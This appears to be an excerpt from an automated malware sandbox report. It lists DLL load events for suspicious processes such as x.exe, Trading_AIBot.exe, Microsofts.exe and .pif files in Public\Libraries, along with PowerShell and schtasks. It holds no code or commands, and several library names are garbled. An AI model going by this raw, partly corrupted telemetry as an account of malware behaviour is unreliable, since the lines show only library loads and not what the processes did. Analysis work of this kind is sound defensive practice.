Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: apphelp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: version.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: uxtheme.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: url.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieframe.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: iertutil.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: netapi32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: userenv.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winhttp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wkscli.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: netutils.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: amsi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: smartscreenps.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winmm.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wininet.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sspicli.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: windows.storage.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: wldp.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: profapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ieproxy.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mssip32.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: msasn1.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: mswsock.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: winnsi.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??????????.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ??.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: sppc.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: am.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???.dll
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section loaded: ???.dll
